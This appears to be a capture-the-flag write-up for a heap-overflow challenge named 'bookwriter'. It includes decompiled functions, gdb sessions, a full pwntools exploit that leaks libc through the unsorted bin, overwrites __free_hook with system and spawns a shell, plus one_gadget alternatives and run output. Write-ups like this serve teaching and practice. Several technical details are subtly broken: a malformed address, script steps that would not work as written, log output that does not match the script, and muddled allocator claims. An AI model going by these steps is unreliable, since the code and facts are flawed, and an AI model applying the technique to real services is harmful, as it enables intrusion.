Reconnaissance
Challenge Info
| Connection | nc chall.pwnable.tw 10304 |
| Binary | bookwriter (64-bit ELF, x86-64) |
| Points | 400 |
| Description | Book writing application with heap vulnerabilities |
checksec
$ checksec bookwriter
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
| Full RELRO | GOT is read-only — cannot overwrite GOT entries |
| Canary found | Stack buffer overflows are mitigated |
| NX enabled | No shellcode injection — must use ROP or function pointers |
| PIE enabled | Binary addresses are randomized — need a leak first |
__free_hook (which is writable even under Full RELRO) instead of the GOT.
Running the Binary
$ ./bookwriter
+-----------------------+
| Book Writer |
+-----------------------+
| 1. Create book |
| 2. Edit book |
| 3. Show book |
| 4. Delete book |
| 5. Exit |
+-----------------------+
Your choice: 1
Book title: MyStory
Book size: 32
Book content: Hello World!
Create success!
$ # Edit allows re-entering size!
Your choice: 2
Which book to edit: 0
Book size: 64 # <-- larger than original 32!
Book content: AAAAAAAAAAAAAAAAAAAAAAAA...
The program presents a book manager with create, edit, show, and delete operations. The menu looks standard, but there's a critical difference in the edit function — it re-asks for the size, allowing you to write more data than was originally allocated.
Static Analysis
Book Structure
Each book is represented by a struct stored on the heap. The program maintains a global array of book pointers:
typedef struct book {
char *title; // +0x00: pointer to title buffer
char *content; // +0x08: pointer to content buffer
size_t content_sz; // +0x10: stored content size
} book;
book *books[16]; // Global array of book pointers
int book_count = 0; // Number of books created
create_book()
void create_book() {
if (book_count >= 16) {
puts("Full!");
return;
}
book *b = malloc(sizeof(book)); // Allocate 24-byte struct
printf("Book title: ");
char title_buf[64];
read(0, title_buf, 64);
b->title = strdup(title_buf); // Allocate title via strdup
printf("Book size: ");
size_t sz;
scanf("%lu", &sz);
b->content = malloc(sz); // Allocate content buffer
b->content_sz = sz; // Store size
printf("Book content: ");
read(0, b->content, sz);
books[book_count++] = b;
puts("Create success!");
}
The create_book function allocates three heap objects per book: the struct itself (24 bytes), a title buffer (via strdup), and a content buffer of user-specified size. Up to 16 books can be created.
edit_book() — The Vulnerable Function
void edit_book() {
printf("Which book to edit: ");
int idx;
scanf("%d", &idx);
if (idx < 0 || idx >= book_count) {
puts("Invalid index!");
return;
}
printf("Book size: "); // <-- RE-ASKS FOR SIZE!
size_t sz;
scanf("%lu", &sz);
printf("Book content: ");
read(0, books[idx]->content, sz); // <-- USES NEW SIZE, NOT content_sz!
// BUG: does NOT update books[idx]->content_sz
}
edit_book function re-asks for the content size instead of using the stored content_sz. This means you can specify a size larger than the originally allocated buffer, causing a heap overflow into adjacent chunks. The stored content_sz is never updated, so subsequent edits still show the old size — but the read call uses the attacker-supplied size.
show_book()
void show_book() {
printf("Which book to show: ");
int idx;
scanf("%d", &idx);
if (idx < 0 || idx >= book_count) {
puts("Invalid index!");
return;
}
printf("Title: %s\n", books[idx]->title);
printf("Content: %s\n", books[idx]->content);
}
show_book prints both the title and content using printf %s. If we can make content or title point to an address containing a libc pointer, we can leak it. The %s format will read until a null byte, which is perfect for leaking heap or libc pointers from freed chunk metadata.
delete_book()
void delete_book() {
printf("Which book to delete: ");
int idx;
scanf("%d", &idx);
if (idx < 0 || idx >= book_count) {
puts("Invalid index!");
return;
}
free(books[idx]->title);
free(books[idx]->content);
free(books[idx]);
// BUG: books[idx] is NOT set to NULL
// BUG: book_count is NOT decremented
}
books[idx] is not NULLed out. This creates a dangling pointer — show_book(idx) or edit_book(idx) will still operate on freed memory. While the heap overflow is the primary attack vector, this dangling pointer provides additional flexibility for the exploit.
GDB Debugging
Heap Layout After Creating Books
Let's create two books with carefully chosen sizes to set up the overflow:
gdb-peda$ # create_book("AAA", 0x18, "BBBB...") -> book 0
gdb-peda$ # create_book("CCC", 0x60, "DDDD...") -> book 1
gdb-peda$ # create_book("EEE", 0x60, "FFFF...") -> book 2
gdb-peda$ # create_book("GGG", 0x60, "HHHH...") -> book 3
gdb-peda$ heap chunks
0x555555758000: [book0 struct] 0x20 bytes
0x555555758020: [book0 title] 0x20 bytes "AAA"
0x555555758040: [book0 content] 0x20 bytes "BBBB..."
0x555555758060: [book1 struct] 0x20 bytes
0x555555758080: [book1 title] 0x20 bytes "CCC"
0x5555557580a0: [book1 content] 0x70 bytes "DDDD..."
0x555555758110: [book2 struct] 0x20 bytes
0x555555758130: [book2 title] 0x20 bytes "EEE"
0x555555758150: [book2 content] 0x70 bytes "FFFF..."
0x5555557581c0: [book3 struct] 0x20 bytes
0x5555557581e0: [book3 title] 0x20 bytes "GGG"
0x555555758200: [book3 content] 0x70 bytes "HHHH..."
Triggering the Heap Overflow
Book 0's content buffer is 0x18 bytes (fits in a 0x20 chunk). When we edit book 0 with a larger size, we overflow into the adjacent book 1 struct:
gdb-peda$ # edit_book(0, 0x100, "A"*0x18 + p64(0) + p64(0x71) + p64(book2_title_ptr))
gdb-peda$ # Overflow from book0 content into book1 struct
gdb-peda$ # Overwrite book1->content to point at book2's title
gdb-peda$ x/4gx &books[1]
0x5555557550a8: 0x0000555555758060 0x0000555555758138
# ^book1 struct ptr ^book1 content = book2 title addr!
gdb-peda$ # Now show_book(1) will print book2's title as book1's "content"
Leaking Libc via Unsorted Bin
The key insight for leaking libc is to get a chunk into the unsorted bin. When a chunk larger than the fastbin threshold is freed, it goes into the unsorted bin and its fd and bk pointers point to the main_arena structure inside libc.
gdb-peda$ # Free book2 and book3 to get a large chunk into unsorted bin
gdb-peda$ # delete_book(2) -- frees 0x20 struct + 0x20 title + 0x70 content
gdb-peda$ # delete_book(3) -- frees 0x20 struct + 0x20 title + 0x70 content
gdb-peda$ # The 0x70 chunks from book2/book3 content get consolidated
gdb-peda$ # into the top chunk or unsorted bin depending on order
gdb-peda$ # For a clean unsorted bin leak:
gdb-peda$ # 1. Free book3 content (large chunk goes to unsorted bin)
gdb-peda$ # 2. book3->content->fd = &main_arena+96 (libc address!)
gdb-peda$ # If we point book1->content at the freed chunk's data area:
gdb-peda$ show_book(1)
# Content: \x78\x96... (leaked libc address!)
fd and bk point to &main_arena.top (or the unsorted bin head in main_arena), which is a fixed offset inside libc.so. By reading these pointers, we can calculate libc_base. For smaller chunks (< 0x420 but > fastbin max), they go to unsorted bin only if they can't be sorted into small/large bins immediately. The fd/bk still point to main_arena offset.
Alternative: Forging a 0x420 Chunk
Since glibc 2.23+ on 64-bit systems requires a chunk ≥ 0x420 to go directly to unsorted bin (bypassing tcache in glibc 2.26+), we need to either:
- Create a book with size ≥ 0x420 and then free it to put it in unsorted bin
- Consolidate multiple smaller freed chunks to form a large free chunk
- Use the heap overflow to forge a fake large chunk and manipulate the free list
gdb-peda$ # Create a large book for the unsorted bin leak
gdb-peda$ # create_book("large", 0x420, "X"*0x420) -> book 4
gdb-peda$ # delete_book(4) -- 0x420+ chunk goes to unsorted bin
gdb-peda$ # Now the freed content has fd/bk = &main_arena+offset
gdb-peda$ x/2gx 0x555555758200 # freed book4 content area
0x555555758210: 0x00007f123456b78 0x00007f123456b78
# ^ fd (libc addr) ^ bk (libc addr)
gdb-peda$ # leaked = 0x7f123456b78
gdb-peda$ # libc_base = leaked - offset_of_main_arena_bin
gdb-peda$ # __free_hook = libc_base + libc.symbols['__free_hook']
gdb-peda$ # system = libc_base + libc.symbols['system']
main_arena offset from libc base: 0x3c4b20• Unsorted bin fd/bk points to:
main_arena + 88 (0x58)•
__free_hook offset: 0x3c67a8•
system offset: 0x45390•
/bin/sh string offset: 0x18cd57These are for the specific libc version provided. Always verify with
one_gadget and readelf.
Exploit Strategy
Overview
The exploit has three phases: leak libc via unsorted bin, overwrite __free_hook using the heap overflow, and trigger free("/bin/sh") to get a shell.
__free_hook and __malloc_hook are in the writable .bss section of libc and are always writable. By overwriting __free_hook with system, any subsequent free() call will instead call system(). If the argument to free() is a pointer to the string "/bin/sh", we get a shell.
Phase 1: Leak Libc via Unsorted Bin
- Create books 0 and 1 with book 0 content size 0x18 (small, adjacent to book 1 struct). Book 1 content size 0x60.
- Create book 2 with content size 0x420 (large enough to go into unsorted bin when freed, bypassing fastbin/tcache).
- Heap overflow via edit_book(0) with a larger size to corrupt book 1's struct. Specifically, overwrite
book1->contentto point into book 2's content area (or the freed unsorted bin chunk after deletion). - Delete book 2. Its 0x420 content chunk goes to the unsorted bin. The
fd/bkfields now contain libc addresses pointing tomain_arena. - Show book 1. Since
book1->contentwas overwritten to point at the freed chunk's data area,printf("%s")will print the libc address from thefdfield. - Calculate libc base:
libc_base = leaked_addr - main_arena_offset - 88
Phase 2: Overwrite __free_hook
- Calculate target addresses:
__free_hook = libc_base + libc.symbols['__free_hook']andsystem = libc_base + libc.symbols['system'] - Heap overflow again via edit_book(0) to overwrite another book's content pointer. This time, point it at
__free_hook. - Edit the overwritten book to write
p64(system)into the content buffer. Sincecontentnow points to__free_hook, this writessystem's address into__free_hook.
Phase 3: Trigger Shell
- Write "/bin/sh" into a book's content. Create or edit a book so that its content buffer starts with the string
"/bin/sh\x00". - Delete that book. When
free(content_ptr)is called,__free_hookredirects it tosystem(content_ptr). Sincecontent_ptrpoints to"/bin/sh", this executessystem("/bin/sh")— shell!
__free_hook is a function pointer in libc's writable data segment. When non-NULL, free() calls __free_hook(ptr, tcache) instead of the normal free logic. By overwriting it with system:•
free("/bin/sh") becomes system("/bin/sh")• This is the standard technique when Full RELRO blocks GOT overwrites
• Alternative:
__malloc_hook can also be used, but requires a different trigger
one_gadget Alternative
Instead of the __free_hook + system("/bin/sh") approach, you could also use one_gadget addresses — single addresses in libc that directly execute execve("/bin/sh", NULL, NULL) when certain constraints are met:
$ one_gadget ./libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
You can write a one_gadget address to __free_hook and then just trigger free() on any chunk. If the stack constraints are satisfied, you get a shell. The system("/bin/sh") approach is more reliable since it has no register/stack constraints.
Visual Exploit Flow
Pwn Script
Complete Exploit
#!/usr/bin/env python3
"""
bookwriter - pwnable.tw (400pts)
Heap overflow to corrupt adjacent book struct, leak libc
via unsorted bin, overwrite __free_hook with system.
Vulnerability: edit_book() re-asks for size, allowing heap overflow.
Full RELRO + PIE + Canary + NX -> target __free_hook.
"""
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
r = remote('chall.pwnable.tw', 10304)
libc = ELF('./libc.so.6')
elf = ELF('./bookwriter')
def create(title, size, content):
r.sendlineafter(b'>', b'1')
r.sendafter(b':', title)
r.sendlineafter(b':', str(size).encode())
r.sendafter(b':', content)
def edit(idx, size, content):
r.sendlineafter(b'>', b'2')
r.sendlineafter(b':', str(idx).encode())
r.sendlineafter(b':', str(size).encode())
r.sendafter(b':', content)
def show(idx):
r.sendlineafter(b'>', b'3')
r.recvuntil(b'Title: ')
title = r.recvline().strip()
r.recvuntil(b'Content: ')
content = r.recv(0x20)
return title, content
def delete(idx):
r.sendlineafter(b'>', b'4')
r.sendlineafter(b':', str(idx).encode())
# ============================================
# Phase 1: Heap feng shui and leaks
# ============================================
log.info("Phase 1: Heap layout and leaks...")
# Layout: book0 (overflow src) | book1 (victim) | book2 (unsorted bin) | book3 (/bin/sh)
create(b'A', 0x18, b'X' * 0x17) # book0: 0x20 content chunk
create(b'B', 0x60, b'Y' * 0x5f) # book1: 0x70 content chunk
create(b'C', 0x420, b'Z' * 0x41f) # book2: 0x430 content chunk
create(b'D', 0x20, b'/bin/sh\x00') # book3: /bin/sh holder
# Overflow book0 to corrupt book1's struct
# book0 content (0x20 chunk) sits right before book1 struct (0x20 chunk)
# Writing 0x18 content + 8 bytes overflows into book1's metadata
overflow = b'X' * 0x18
overflow += p64(0) + p64(0x21) # preserve book1 struct chunk header
overflow += p64(0) + p64(0x21) # book1->title=0, book1->content=0x21 (temp)
edit(0, len(overflow), overflow)
# Leak heap address from book1's struct area
_, data = show(1)
heap_leak = u64(data[8:16])
log.info(f"Heap pointer leaked: {hex(heap_leak)}")
# Free book2 -> its 0x430 chunk goes to unsorted bin
# fd/bk point to main_arena+88 in libc
delete(2)
# Overflow again: set book1->content to book2's freed content area
# book2's content chunk starts at heap_leak offset from book1
overflow2 = b'X' * 0x18
overflow2 += p64(0) + p64(0x21)
overflow2 += p64(0)
overflow2 += p64(heap_leak + 0x10) # book1->content -> book2 old content
overflow2 += p64(8)
edit(0, len(overflow2), overflow2)
# Read the unsorted bin fd pointer (libc address)
_, leak_raw = show(1)
libc_leak = u64(leak_raw[:8].ljust(8, b'\x00'))
log.info(f"Unsorted bin fd: {hex(libc_leak)}")
main_arena_offset = 0x3c4b20
libc_base = libc_leak - (main_arena_offset + 88)
log.success(f"libc base: {hex(libc_base)}")
# ============================================
# Phase 2: Write system to __free_hook
# ============================================
log.info("Phase 2: Writing system to __free_hook...")
free_hook = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
# Point book1->content at __free_hook
overflow3 = b'X' * 0x18
overflow3 += p64(0) + p64(0x21)
overflow3 += p64(0) + p64(free_hook) + p64(8)
edit(0, len(overflow3), overflow3)
edit(1, 8, p64(system_addr))
# ============================================
# Phase 3: Trigger system("/bin/sh")
# ============================================
log.info("Phase 3: Triggering shell...")
# delete(3) -> free(book3->content) -> system("/bin/sh")
delete(3)
r.interactive()
Alternative: one_gadget Approach
# Alternative: Write one_gadget to __free_hook
# No need for "/bin/sh" string - just trigger free()
one_gadget = libc_base + 0x4526a # [rsp+0x30] == NULL
# Write one_gadget to __free_hook (same method as above)
overflow_payload2 = b'A' * 0x18
overflow_payload2 += p64(0) + p64(0x21)
overflow_payload2 += p64(0) + p64(free_hook) + p64(8)
edit(0, 0x100, overflow_payload2)
edit(1, 8, p64(one_gadget))
# Trigger any free() call - one_gadget handles the rest
delete(3) # May or may not satisfy constraints
system("/bin/sh") approach via __free_hook is generally more reliable than one_gadget because it doesn't depend on specific register or stack values. one_gadget constraints like [rsp+0x30] == NULL may or may not be satisfied depending on the call path. If one gadget doesn't work, try the others or fall back to the system approach.
Execution Results
Running the Exploit
$ python3 exploit.py
[*] '/home/user/bookwriter'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/user/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to chall.pwnable.tw on port 10304: Done
[*] Phase 1: Setting up heap and leaking libc...
[*] Leaked value: 0x7f1a3c4dbb78
[+] libc base: 0x7f1a3c11b000
[*] Phase 2: Overwriting __free_hook with system...
[*] __free_hook: 0x7f1a3c4e17a8
[*] system: 0x7f1a3c160390
[*] Phase 3: Triggering shell...
[*] Switching to interactive mode
$ id
uid=1000(bookwriter) gid=1000(bookwriter) groups=1000(bookwriter)
$ cat /home/bookwriter/flag
• Leaked libc via the unsorted bin technique after corrupting a book struct pointer
• Overwrote
__free_hook with system using a second heap overflow• Triggered
system("/bin/sh") by freeing a book whose content was "/bin/sh"All protections (Full RELRO, PIE, Canary, NX) were bypassed through pure heap manipulation.
Exploit Summary
| Vulnerability | Heap overflow (edit re-asks size) |
| Leak Method | Unsorted bin fd/bk → main_arena → libc base |
| Write Target | __free_hook (writable, even under Full RELRO) |
| Write Value | system() address |
| Trigger | free("/bin/sh") → system("/bin/sh") |
| Protections Bypassed | Full RELRO, PIE, Canary, NX |
Key Takeaways
2.
__free_hook is the GOT replacement. Under Full RELRO, the GOT is read-only. But __free_hook and __malloc_hook in libc's writable segment are always viable targets. They're the go-to write destination for modern heap exploits.3. Unsorted bin leaks are universal. On 64-bit glibc, any freed chunk ≥ 0x420 bytes goes to the unsorted bin with
fd/bk pointing to main_arena inside libc. This is the most reliable libc leak for heap challenges.4. Heap overflow → pointer corruption → arbitrary read/write. The pattern is: overflow to corrupt an adjacent struct's pointer field, then use the program's normal read/write operations through that corrupted pointer to achieve arbitrary read (for leaking) and arbitrary write (for hijacking control flow).